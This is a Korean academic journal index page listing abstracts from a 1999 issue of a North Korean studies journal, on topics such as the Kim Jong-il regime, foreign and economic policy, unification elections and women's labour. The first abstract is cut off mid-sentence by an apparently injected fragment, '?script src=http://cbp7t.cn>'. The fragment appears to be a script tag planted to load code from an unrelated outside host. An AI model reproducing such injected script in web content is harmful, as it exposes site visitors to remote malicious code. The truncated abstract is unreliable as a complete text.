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북한연구학회> 북한연구학회보> 미국 북한관계개선과 남북한관계조망

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미국 북한관계개선과 남북한관계조망

US Engagement Policy and North - South Korea Relations

백인학(Baeg In Hag)
  • : 북한연구학회
  • : 북한연구학회보 3권1호
  • : 연속간행물
  • : 1999년 08월
  • : 57-81(25pages)

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ECN-0102-2009-910-009217177


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I410-ECN-0102-2009-910-009217177

간행물정보

  • : 사회과학분야  > 정치/외교학
  • : KCI 등재
  • : -
  • : 반년간
  • : 1229-1161
  • :
  • : 학술지
  • : 연속간행물
  • : 1997-2018
  • : 476


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1북한의 정치체제 변화와 국가변용 - 김정일 정권의 정책적 한계 -

저자 : 류길재(Ryoo Kihl Jae)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 5-32 (28 pages)

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이 글은 북한의 체제 및 정책변화 여부를 국가성격의 변용과 연관시켜서 첫째, 김정일 정권하 북한의 정치체제는 김일성의 통치권이 지배적이었을 때의 그것과는 질적으로 다르며, 둘째, 이러한 국가성격의 변화는 체제상의 위기에 대한 정치엘리트들의 대응과 과거로부터의 정치경제적 유산이 결합하여 만들어진 의도되지 않은 결과이고, 셋째, 예외국가로서의 북한의 국가성은 제도적 틀이 근본적으로 변화하지 않는 한 정책 선택의 폭을 매우 제한시키고 있음을 주장하고자 한다.  이 글은 이러한 주장을 개진하기 위해서 최근 북한 연구에 있어서 발견되는 사회경제적/구조적 변수를 강조하는 접근법의 편향을 검토하고, 북한이 추구하는 정치적 대응을 국가의 변용과 정치제도의 개편을 통해 살펴보고자 한다. 사회경제적 접근법을 통해 볼 때 북한은 정책상의 변화를 시도하는 동시에 궁극적으로 체제변동을 경험하지 않을 수 없다. 북한이 추구해온 정치적 대응에 대한 분석을 통해 정책방향뿐만 아니라 북한 국가의 성격과 나아가서 북한체제 변동에 대한 전망을 보다 과학적으로 할 수 있다는 것이 본고가 추구하고자 하는 바이다. 현실적으로 북한의 정책변화를 불가피한 것으로 인식하는 작금의 연구방향에 대한 의문을 제기하려는 것도 본고가 의도하는 것이다.  오늘날 북한은 대내외적인 위기상황에 직면해 있다. 북한이 처한 조건에서 볼 때 북한은 변화하지 않으면 안되는 체제이다. 경제난은 북한 정권으로 하여금 신속한 조처를 취하도록 재촉하고 있으며, 식량난도 이미 북한 사회의 모습을 상당히 바꿔놓고 있다. 국제관계에서 북한이 경험하고 있는 외교적 고립은 대외정책상의 변화를 촉구하고 있다. 그러나 북한은 여전히 유의미한 정책상의 변화를 추진하지 않고 있다. 개방과 관련된 정책상의 변화는 전진과 후퇴를 반복하고 있으며, 경제시스템의 변화, 즉 개혁은 더더욱 천연되고 있다. 대남관계에서 김대중 정부의 대북 포용정책에 상응하는 행동을 보이지 않고 있다. 대남관계에서 북한이 유의미한 변화를 시도했다면 정부 차원의 대화에서 실질적인 진전이 있어야만 한다. 다만 외교정책에 있어서 대미국 관계에서 --대일본 관계도 포함하여--적극적 개선의지를 보이고 있는 것이 사실이다. 북·미간의 미사일문제 타결은 북·미관계 개선에 중요한 전진이자 기회로 볼 수 있다. 그러나 1994년 10월 제네바 합의 이후 양국관계의 상황을 보면 미사일 문제 역시 많은 우여곡절을 겨께 될 것임을 예상케 한다.  이같은 북한의 정책상의 행보는 북한이라는 체제가 갖고 있는 성격에 대한 의혹을 더하고 있다. 김일성 사망이래 김정일을 정점으로 하는 북한 정권이 하루빨리 정상화될 것을 기대했던 외부세계의 입장에서 김정일의 총비서취임과 국방위원장 재추대라는 사건은 이러한 기대를 충족시키는 것으로 이해되었다. 결국 북한 정권 역시 객관적이고 구조적인 조건을 거스르지 못하고 체제를 재정비한 후 합리적인 정책을 추진할 것으로 기대되었던 것이다. 그러나 현실은 이와는 다르게 나타나고 있다. 여전히 북한은 위기를 극복하는 방식에 있어서 위기의 재생산을 시도하는 모험주의적 정책을 구사하고 있는 것이다. 이러한 정책은 한편으로는 북한을 블랙 박스로 인식하는 외부의 북한에 대한 정세판단을 더욱 불확실하게 함으로써 대외협상력을 증대시키는 동시에 내부의 단결을 도모하는 이중적인 효과를 거두게 할 수 있다. 그러나 이것은 단기적인 효과에 그칠 수밖에 없다.  중요한 것은 북한의 대외적 행태가 외부세계의 기대치와 항상 거리를 두고 있는 근본적인 이유이다. 그것은 이 글이 주장하는 것처럼 김정일 정권하 북한의 국가가 체제의 기본적인 틀에 위협이 되는 정책적 변화를 시도할 수 없도록 하기 때문에 발생한다. 국가는 체제의 생존을 유지하고 정체성을 보전하기 위해서 존재하는 것이다. 만일 그 국가가 이러한 생존과 보전을 제대로 지켜내지 못하면 국가로서의 존재근거가 상실되는 것이다. 더구나 그 국가가 중대한 위기상황에 처했을 때 국가는 자신의 모습을, 나아가서 보다 근본적인 성격을 변용시킴으로써 체제수호에 나서게 된다. 오늘날 북한의 국가는 이러한 의미에서 예외국가적 성격을 갖는다. 북한의 예외국가가 수호하고자 하는 것은 김정일이라는 최고지도자의 의사와 권력이 체제 전체를 지배하는 주요한 동력이 되는 체제 그 자체이다. 김정일이라는 개인 역시 이러한 체제 자체를 변화시킬 수 없다. 그것은 개인적 존재인 자신도 파멸로 몰아넣을 것이기 때문이다.  이 글에서는 북한의 국가변용이 1972년 사회주의헌법 제정을 통해 체제개편을 시도한 때부터 착수되었다고 보았다. 그 결과 1990년대의 정치경제적 위기 상황에 직면하여 예외 국가적 성격에 기반하여 제도를 개편해 나갔다고 보았다. 1992년과 98년?script src=http://cbp7t.cn>

2김정일 체제의 외교정책 - 지속과 변화 -

저자 : 정규섭(Chung Kyu Sup)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 33-55 (23 pages)

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이 논문은 1998년 9월 헌법 개정을 기점으로 김정일 체제가 공식 출범하였다고 간주하고, 앞으로 북한 외교정책의 변화가능성을 검토하려는데 일차적인 목적이 있다.  북한은 1990년대에 들어 대미외교를 중심으로 한 주변4강외교를 기본축으로 하고, 대남정책과 대외개방 문제를 재조정하는 외교정책전환을 통해 세계질서 변화에 부응하려 하였으며, 이는 1994년 7월8일 김일성 사망에 이르기까지 지속적으로 추진되었다. 김일성 사후 김정일 체제의 김일성 생전에 정립된 외교·대남정책 이념과 노선을 고수하면서 실제 외교정책은 대미외교 중심의 주변4강 외교, 대유럽 및 아시아 국가들과의 유대 강화 및 경제관계 확대라는 특징을 보이고 전개되었다. 대남정책과 관련하여 북한은 남한 당국을 계속 배제하였지만, 1997년 12월 남한의 정권교체가 확정되면서 남한의 정책전환 촉구와 당국간 대화용의 표명이라는 이원전략을 구사하기 시작하였다.  이러한 북한의 외교정책과 1998년 9월 김정일 체제 공식 출범이후 1999년 6월 현재까지의 정책추진 양상을 비교하면 변화 보다는 지속성이 더 크게 나타난다. 다만 변화의 측면으로 지적할 수 있는 것은 대중국 및 대유럽외교 강화, 남한 당국과의 대화에 대한 긍정적 반응 등이다.  앞으로 김정일 체제는 체제안정성 확보라는 핵심 국가목표를 달성하기 위한 수단확보에 외교정책 목표를 들 수밖에 없으며, 이는 통제된 개방의 확대와 함께 주변4국 및 남한 등으로부터 경제적 지원을 확보할 수 있는 외교정책을 적극적으로 추진하는 것으로 구체화될 것이다. 그러나 김정일 체제는 이미 김일성 시대에 정립된 수령체제라는 독특한 유일·폐쇄체제를 보다 강화하고 있기 때문에 사회개방을 초래할 전면적인 대외개방, 미·일과의 수교, 「남북기본합의서」의 전면적 이행과 같은 정책전환을 시도할 수 없는 한계성을 가지고 있다.

3미국 북한관계개선과 남북한관계조망

저자 : 백인학(Baeg In Hag)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 57-81 (25 pages)

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4김정일 체제와 북한의 경제정책 - ' 실리추구형 폐쇄주의 ' 와 그 딜레마 -

저자 : 임강택(Lim Kang Taeg)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 83-100 (18 pages)

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1950년대 후반 사회주의적 개조작업을 완료한 북한은, 자력갱생의 원칙에 기초하여 민족경제를 건설한다는 `자립적 민족경제 건설노선`을 경제정책의 기본노선으로 설정하고 `중공업 우선 발전, 경공업·농업 동시발전`이라는 중공업 최우선정책을 추진하였다. 북한의 중공업 우선정책은 발전 초기의 성과에도 불구하고 산업간의 불균형이 심화되는 파행적인 경제구조를 형성한 요인으로 지적되고 있다.  북한경제의 문제점은 내부지향적인 발전 전략에서도 찾을 수 있다. 내부지향적 성장전략에 기초한 수입대체정책을 추진하기 위해서 북한은 1970년대 초반 서방국가들로부터의 대규모 차관도입을 통해서 경제발전에 필요한 새로운 기술과 설비를 수입하는 등 대외경제 활동을 강화하였으나 이 과정에서 외채문제가 악화되었으며 경제의 성장률은 지속적으로 감소하였다.  1990년대 들어 경제침체가 계속되면서 북한의 경제정책은 무기력화한 것으로 나타나고 있다. 북한에서 경제정책이 무기력하게 된 근본적인 원인은 체제 내부의 비효율성과 부적절한 경제발전 전략에서 찾을 수 있다. 여기에 사회주의권의 붕괴와 구소련 및 중국으로부터의 경제적·군사적 지원 감소라는 외부 충격이 북한경제의 축소재생산 구조를 더욱 악화시킴에 따라서 경제침체가 가속화된 것이다.  이러한 상황은 북한 지도부는 체제안정까지도 위협하는 자본주의적 요소의 확산을 막고 와해된 계획경제체계를 복원하는 것이 무엇보다도 중요한 과제로 인식하게 되었다. `인민경제계획법`의 제정(1999.4.8)을 통해 공식경제의 정상화를 최우선과제로 설정하고 이를 위해서 내부통제력 강화를 통한 계획경제체계의 복구를 강력하게 추진하기에 이르렀다. 공식경제부문을 정상화하는 것만이 대내외적으로 위협에 직면한 김정일 체제를 유지시켜 줄 수 있다고 판단한 것이다. 이와 동시에 제시된 정책방향이 `중공업 우선정책`과 `자립적 민족경제건설 노선의 고수`로써, 군사부문에 대한 우선적인 투자와 대외개방에 대한 거부 방침을 천명한 것이다.  반면에 최근 북한은 경제관련 제도를 법제화하는 과정에서 변화한 현실을 일부 수용하여 제도적으로 보완하는 작업을 추진하고 있으며, 실용주의적인 경제관을 도입하거나 무역의 중요성을 강조하는 등 변화의 가능성은 열어 놓고 있다. 경제가 회복되고 국내외 정치·사회 상황이 개선될 경우, 보다 적극적으로 개혁·개방에 나설 수도 있음을 시사하는 것이라고 하겠다. 동시에 현재의 위급한 정치·경제·사회 상황에서 체제를 유지하기 위해서는 폐쇄적인 경제정책을 통하여 내부정비를 강화할 수밖에 없는 실정이지만, 경제회생을 위해서는 외부의 경제·기술 지원이 불가피하기 때문에 최소한의 출구는 확보하고자 하는 북한 지도부의 의지가 반영된 것이라고 해석할 수도 있다. 따라서 북한당국이 경제회생에 어느 정도 성공을 거둘 경우에 폐쇄적인 성격의 경제정책을 수정할 가능성은 크다고 할 수 있다.

5김정일체제에 의한 중국식 경험의 북한화 가능성에 관한 연구

저자 : 정현수(Chung Hyun Soo)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 101-126 (26 pages)

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본 논문은 중국의 모택동 사후 등소평체제에 의해 추진되기 시작한 개혁·개방에 기초한 변화의 핵심을 「비모택동화」로 규정하고, 이러한 현상이 북한에 의해서도 추진될 가능성을 검토해 보는데 목적을 두고 있다.  본 논문에서는 내외로부터 중대한 압력과 도전에 직면하고 있는 북한이 선택할 수 있는 대안이 중국의 등소평식 경험이 될 것이라는 가설로부터 출발하고 있다. 이와 같은 가설의 설정은 북한이 `김일성의 나라`로 지칭될 정도로 김일성식 요소가 지배하고 있는 가운데 내외로부터 중대한 변화의 압력과 요구에 직면하고 있다는 점에서 새로운 지도자 김정일이 선택할 수 있는 카드는 중국의 등소평체제에 의해 채택한 비모택동화에 기초한 실용주의적 방식을 통하여 모택동의 권위도 보존하면서 중국사회주의의 발전도 도모하여 왔기 때문이었다.  논문의 분석에 의하면 김일성시대의 산물이라고 할 수 있는 북한식 사회주의가 지나간 시대의 모택동식 사회주의와 상당부분 유사성을 공유하여 왔다는 역사적 경험은 김정일이 중국식 경험을 선택하는데 신뢰도를 높여줄 수 있는 요인으로 제시하였다.  더군다나 중국의 성공적인 경험은 북한이 사회주의를 고수하면서 체제존립의 기반을 유지하려는 전략적 모델과 일치한다는 점에서 북한에 의해 선택될 가능성 높여준다고 보았다.  그러나 본 논문에서는 양국간에 상당한 유사성을 공유하고 있지만, 동시에 차별적인 요인도 존재한다는 점에서 북한이 중국식 경험을 그대로 수용하여 변화를 모색할 가능성은 희박할 것으로 분석하였다.

6남과 북 정치통합 연구 - 남북통합선거문제점 및 대비방안 -

저자 : 안성호(Ahn Sung Ho)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 127-153 (27 pages)

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통일이 되면 당연히 새로운 통일국가를 이끌어갈 정치세력과 정치조직들을 국민이 선택하는 통일을 위한 선거법논의문제와 통일국가의 선거제도의 기본원칙들을 통한 남북한 총선이 있게 된다. 통일후의 민주적 선거제도를 위해서는 국회의원 의석수, 득표율과 의석률의 일치, 선거율과 지역구의원과 비례대표의석 비율, 선거구의 조정, 선거방식 등이 종합적으로 연구 검토되어야 한다. 관권, 금권 선거행태도 고치고 선거관련법규를 정비하여 선거법 위반사항에 대해서는 강력한 처벌을 할 수 있도록 법적, 제도적 차원의 대책을 마련하여 입후보자와 무투표권자 모두 통일국가출범에 성숙하게 대처해야 한다. 예컨대 ① 자유총선 도입과 선관위조직, ② 대통령선거, 국회의원 선거, 지방자치선거의 시기, ③ 통일국가의 통합선거제도의 기본원칙, ④ 통합선거법, ⑤ 선거구조정문제, ⑥ 지역구와 비례대표제의 배분정도의 결정, ⑦ 대의제도입과 양원제냐 단원제냐 등 원구성방법의 논의문제, ⑧ 입법부의 역할과 조직 등이 분석되어야 할 것이다.  또한 정치통합을 위한 중간단계로서의 선거준비기간중의 치안유지와 혼란스럽지 않고 효율적인 통일국가의 첫번째 총선을 위해서는 다음과 같은 사항에 대한 사전 대비책이 제시되어야 한다. ① 정당창당 및 활동지원-정당난립방지, ② 노동당 잔존세력 저항, ③ 잔존주체사항고수파의 반응-김정일추종세력 정리문제, ④ 자유총선을 위한 준비기간의 관리, ⑤ 북한지역 총선지원문제, ⑥ 국제적 선거감시단 파견문제 등이 그것이다.  본 연구는 무엇보다도 분단종식이후 있을 정치통합과정에서 다음과 같은 점에 대비를 해야 한다고 인식하였다.  첫째, 분단에서 통일로 넘어가는 중간단계의 혼란을 최소화할 수 있는 완벽한 대비책을 마련해놓아야 한다. 둘째, 통일국가는 자유민주주의와 시장자본주의를 근간으로 하는 1인제 대통령중심제가 요망된다. 셋째, 정당체계는 다양한 이념이 존재하는 경쟁적 정당체계가 바람직하며 혁명적 공산당은 불허하다. 넷째, 자유총선을 대비하여 선거제도를 완비하고 북한주민에게 사전 교육을 철저하게 시킨다. 다섯째, 주민 스스로가 손쉽게 참여할 수 있는 지방자치제의 정착을 의해 노력해야 한다. 건전한 민주적 주민의식의 활성화는 시민사회운동에 적극적인 참여를 통해 달성된다는 점을 인식하는 것이 중요하다. 여섯째, 남북한에 존재하고 있는 지역갈등을 완화시켜야 한다. 일곱째, 통일을 위해서는 분단단계에서 보다 우리의 입장이 강화되도록 사전 외교노력이 요망되며 국제관계 있어서 한국은 보다 주체적인 입장에서 균형적인 4강과의 관계를 추구해야 할 것이다. 여기서 중요한 것은 정치통합의 내용을 개발하는 일인데 본 연구를 통하여 볼 때 이는 민주적 선거와 공정한 경쟁원리를 기본으로 만드는 데서 비롯된다고 인식하였다.

7남북 민간 교류와 시민 사회의 역할

저자 : 이재봉(Lee Jae Bong)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 155-171 (17 pages)

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김대중 정부가 출범한 이후, 남북한 사이에 주민 접촉 및 왕래가 잦아지고, 교역 및 협력 사업이 활발해지는 등 민간 교류가 크게 늘고 있지만, 민간 교류의 확대를 제약하는 요인도 적지 않아 보인다. 남쪽의 제약 요인으로는, 보수적인 자민련이 공동 정부 한 축을 이루고 있으며, 거대 야당과 보수적 기득권층의 대북 강경론이 쉽게 누그러지지 않고 있는 점 등을 들 수 있다. 북쪽의 제약 요인으로는, 아직 시민 사회가 발달하지 않았을 뿐만 아니라, 당국자들은 사회주의 체제 붕괴에 대한 불안감과 흡수 통일에 대한 두려움 때문에 당분간 정부 차원이든 민간 차원이든 남북 교류의 확대를 바라지 않는 것으로 보인다는 점 등을 꼽을 수 있다.  남한의 시민 사회는 서구에 비해 크게 발달하지 못했지만, 이제는 시민 운동이 언론에 이어 "제5의 권력"으로 불리고 있는 가운데, 평화 및 통일 운동을 주도하는 시민 단체들도 적극적인 활동을 벌이고 있다. 북한의 시민 사회는 폐쇄적이고 억압적인 통치 체제 때문에 전혀 발달 하지 못한 것으로 보인다. 따라서 남쪽의 시민 단체들이 주도적으로 남북 사이의 민간 교류 확대 운동에 나서더라도, 당분간 인적 교류는 일방적 방문의 성격이 크고 경제 교류는 대북 지원의 차원을 벗어나기 어려울 것이다.  민간 교류의 활성화를 꾀하기 위한 방안으로 건전한 시민 단체들이 중심이 되어 민족 통합을 위한 올바른 여론을 형성하고 선도하는 일이 중요하며, 정부는 보수 세력들을 견제하기 위해서라도 건전한 시민 운동 단체들을 지원할 필요가 있다.  남북간의 민간 교류는 경제와 문화 분야 등 상호 체제 유지에 부담이 없고 실익을 거둘 수 있는 분야부터 시작하는 게 바람직하다. 특히 경제 교류 및 협력은 민족 경제 공동체를 형성하는 데 초점을 맞추고 장기적인 목표 아래 북한 경제를 되살림으로써 상호 이익의 번영을 불러올 수 있어야 할 것이다. 이와 관련하여, 대북 식량 지원 운동에서부터 북한 상품 수입 확대 및 구매 운동은 물로 남북한의 경제 위기를 함께 극복하기 위한 군축 운동에 이르기까지 시민 단체들이 주도할 수 있는 경제 분야의 통일 운동은 다양하다. 나아가 민족의 동질성을 회복하여 이질성을 줄이기 위해 언어를 일치시키고 민족 예술을 공유하기 위한 문화 분야의 통일 운동은 민족 구성원이면 누구든지 거부감 없이 함께 참여할 수 있을 것이다.

8남북한 사회문화에 내재한 가부장성에 관한 연구

저자 : 남인숙(Nam In Sook)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 173-196 (24 pages)

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최근에 와서 통일에 대한 과업이 실현되기 어려운 꿈으로 보는 시각은 적어지고 있지만 남북한은 서로의 체제 우월성을 내세우며 상대가 변하지 않는 한 통일이 불가능 하다고 믿는 것에는 변함이 없다. 북한의 서해 도발, 남북차관회담 결렬, 금강산 관광객 억류 등으로 대북 포용정책의 성공가능성에 의구심을 품는 외국언론의 발언이 잦아지고 햇볕정책을 계속 추진하겠다는 대통령조차 전술적 탄력성을 발휘하는 쪽으로 대북 정책을 바꾸겠다는 입장을 표명하기도 하였다. 이럴 때일수록 민족문제를 평화적으로 풀겠다는 확실한 철학을 가진 통일전문가의 역할이 필요하며 통일은 어디까지나 민족의 발전과 화합을 위한 것임을 명심하고 남북한의 불신감해소와 이해증진을 도모하고 여성들 간의 냉전적 사고방식을 지양하여 통일 후 평화롭고 안정된 사회건설의 기틀마련에 이바지하기 위함이 본 논문의 목적이다.  따라서 본 논문은 남북한의 사회문화를 검토하면서 분단으로 인해 사회적으로 불리한 역할을 할당받을 수밖에 없는 여성들의 삶을 각 사회에 내재한 가부장성을 중심으로 접근하고 있다. 오랜 역사와 유구한 문화유산을 공유한 남과 북은 체제의 차이로 인한 이질감이 있지만 깊숙한 문화적 동질감 역시 만만치 않으리라 기대되며 이러한 문화적 동질성은 우리민족 특유의 가부장성에서 연유한다고 본다. 본 논문을 구체적으로 요약하면 첫째, 가부장제의 개념 및 가부장제와 여성의 관계를 정리하고 둘째, 북한의 통제된 사회문화 형성배경과 주체사상, 집단주의 원칙에 기초한 정치이데올로기의 사회화 및 사회통제, 정치적 통제, 경제적 통제, 생활통제, 언론통제 등을 검토하고 셋째, 새로운 문화 양식을 발전시켜온 남한의 사회문화속에 내재한 자본주의적 요소와 민족 전통적인 요소를 찾기 위해 경제발전 위주의 정책은 물론 권위주의적인 정치배경, 미군정의 영향, 남북분단과 한국전쟁, 유교의 영향, 불교의 영향, 민간신앙의 영향 등을 광범위하게 검토한다. 넷째, 남북한 사회문화를 정리하여 북한식 사회주의와 남한의 자본주의적, 민족 전통적 가부장성을 찾아내어 가정을 지켜온 북한여성의 역할이 체제유지를 위한 혁명전사의 역할로 이전되고 혈연중심의 개별가족의 가부장성에서 어버이 수령을 중심으로 한 대가정으로 옮겨진 국가가부장제를 밝히다. 남한사회의 여성들은 자본주의적 가부장성과 사적의존 및 비민주적인 정치풍토에서 비롯되는 온갖 형태의 남녀불평등 관행 및 편협한 여론의 희생자이므로 사회전반에 성차별적 제도와 의식의 개선을 위해 국가의 의도적이고 직접적인 개입 및 여성 스스로의 투쟁이 요구될 수밖에 없음을 밝히고 있다.

9남북한 여성노동시장의 비교 연구

저자 : 권영경(Kwon Young Kyong)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 197-219 (23 pages)

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남북한은 각기 자본주의적 공업화와 사회주의적 공업화라는 상이한 발전의 길을 걸어오면서 그에 조응하는 여성노동정책을 시행해왔다. 즉 남한의 경우 자본주의 시장경제원리에 기초하여 노동시장에서의 여성노동에 대한 자율적인 수요·공급운동을 최대한 보장하는 가운데 국가는 다만 성차별(discrimination of sexuality)을 제거하고 남녀평등을 지향하는 차원에서 노동시장에 개입해왔다면, 북한의 경우는 사회주의 계획경제원리에 기초하여 사회주의혁명 건설이라는 차원에서 국가가 적극적을 여서의 노동활동에 개입해 왔던 것이다. 이 때문에 남북한 여성노동시장의 발달과정은 선험론적으로 북한의 여성노동이 남한보다 안정적인 사회적 노동으로서의 위상을 보유하고 있으며, 여성노동시장 또한 남한 여성노동시장에 비해 보다 성평등적이라는 인식을 갖게 하였다. 그리고 다른 한편으로 남한의 급속한 자본주의적 축적과정은 여성노동의 사회적 노동화를 확대시키고 남한 여성노동의 한계노동력적 성격을 축소시켜왔다고 하는 인식도 가져왔다.그러나 실증적으로 살펴볼 때 북한 여성노동의 사회화과정은 국가이데올로기의 필요에 따라 `위`로부터 창출되었기 때문에 북한 여성노동의 `삶의 현장`은 비교적 성평등적인 `제도`와 달리 성불평등적임을 볼 수 있다. 또한 남한 여성노동의 사회적 노동화과정은 구조적 경제변화에 의하기보다는 경제성장 요인에 압도적 영향을 받으며 진행되어 왔기 때문에 경기변동과정에 민감한 한계노동적 성격을 띠는 과정으로 진행되었음을 볼 수 있다.  따라서 우리는 남북한의 여성노동정책이 상이한 여성노동관련 제도들을 조성해 놓았지만, 남북한 여성노동의 현실은 여성노동이 남성노동에 대한 한계노동으로서 취급당하고 있다는 면에서 공통점을 나타내고 있음을 보게 된다.  물론 이러한 결론을 내림에 있어서 북한의 경우 얻을 수 있는 통계자료가 제한되어 있는 가운데 도출된 것이기 때문에 약간의 무리가 있을 수 있다고 생각한다. 그러나 북한여성노동시장이 제도와 현실간의 괴리를 보여주고 있음을 많은 탈북여성들이 경험론적으로 수집해 주고 있으므로 그렇게 크게 무리가 있는 결론은 아니라고 생각한다. 남북한여성노동시장이 보여주는 이러한 문제점은 통일 이후 남북한 여성노동시장이 통합되는 과정에서 여성노동이 비사회적 노동화하는 경향을 초래하는 주요 요인이 될 것이다. 그 이유는 통일 이후 동독에서 등장한 실업자의 대부분이 여성노동이고, 여성노동은 비사회적 노동으로의 퇴출이라는 압력을 받았음을 우리는 이미 경험론적으로 보고 있기 때문이다. 그런 차원에서 본 소고는 통일 이후 여성노동시장이 통합되는 과정에서 예측되는 문제점에 대한 사전 전제가 된다는 점에서, 실증적 자료의 부족이라는 한계에도 불구하고 의미가 있다고 생각한다.

10북한 민법의 발전 - 특징 내용 평가 -

저자 : 박정원(Park Jeong Won)

발행기관 : 북한연구학회 간행물 : 북한연구학회보 3권 1호 발행 연도 : 1999 페이지 : pp. 221-244 (24 pages)

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민법이 일반적으로 私法의 일반법으로서 일반 개인간의 생활관계, 즉 경제관계 또는 재산관계와 가족관계를 포함하여 주로 사유재산제도와 계약의 자유를 규율하는 법으로 이해하면, 근본적으로 私的 所有를 인정하지 않는 사회주의국가에서 민법의 존재의미를 찾기 어렵다. 그러나 사회주의국가인 북한에서 민법은 주요한 법률분야의 하나이며 북한 나름대로의 민법이론을 형성하고 있다. 북한에서 민법은 "사로 독자성을 지닌 당사자들 사이의 재산관계를 규율하는 법"이라고 한다.  북한민법은 생산수단의 사적 소유를 부인하는 사회주의 법제의 원리에 따르고 있고 사회는 주의법제에서 구소련의 민법의 영향을 받은 것으로 평가된다. 무릇 민법은 경제관계를 규율하는 것으로 사회주의국가 사이에도 경제구조의 특수성에 의해 그 사정에 따라 민법은 각국별로 차이를 보여왔는데, 북한의 민법에 관한 내용은 구소련의 민법을 모델로 하고 있었다. 북한에서 민사에 관한 규정은 여러 가지 형식의 개별법령에 의해 실생활에 대한 법적 규제를 해왔는데, 그것은 북한사회의 특수성에 기인한 것이었다.  1990년대 들어서서 북한은 대내외적 환경변화에 대한 대응책의 일환으로 체계적인 법령정비를 해왔는데, 1990년의 새로운 민법제정도 맥락을 같이하는 것으로 볼 수 있다. 북한의 민법제정은 경제난타개를 위한 대외경제개방의 정책전환의 법적 근거의 하나인 것이다. 북한의 변화배경은 세계사적 변혁에 대한 자세변화와 함께 남북관계의 개선이라는 면에서 중요한 의미를 찾을 수 있다. 특히 북한민법은 일상경제관계 내지 생활을 규제한다는 점에서 북한민법에 관한 고찰은 법제적 관점에서 북한을 이해하는 논구라 할 수 있다. 북한민법의 이해를 통해 북한경제의 변화된 현실을 살펴볼 수 있으며, 북한민법의 평가를 통해 북한의 발전동향을 가늠해볼 수 있다.  이에 본고는 북한법제를 통한 북한이해의 차원에서 북한민법의 입법배경과 내용을 고찰하고 평가해봄으로써 현시점의 북한의 경제관계 내지 경제활동의 실제를 파악하는 기초자료로 삼고자 한다. 최근 북한의 경제적 현실변화의 내용은 남북의 통일과 관련하여 시사하는 바가 크다. 이 점에서 본고는 북한민법의 연혁과 그 주요내용을 살피되, 북한의 경제현실과 연관하여 고찰하며, 그 특징과 내용을 고찰한 다음 이를 평가해본다. 1990년 제정된 북한민법은 북한의 향방을 가늠할 수 있는 분석의 틀을 제공하고 있다. 여기서 북한민법의 발전이란 독립민법전화에 의해 여러 형태의 민사관계를 체계화하였다는 점과 북한민법이 시기적으로 사회주의권의 변혁과 관련하여 북한의 경제적 변화기에 제정되었다는 점에서 발전된 면모를 보이고 있다는 점에 중점을 두어 기술한다. 나아가 이를 통해 민사법분야에서 남북의 법제통합을 검토하는 데에 기초자료를 제공하여 통일에 기여하는 데에 일조하기를 기대한다.

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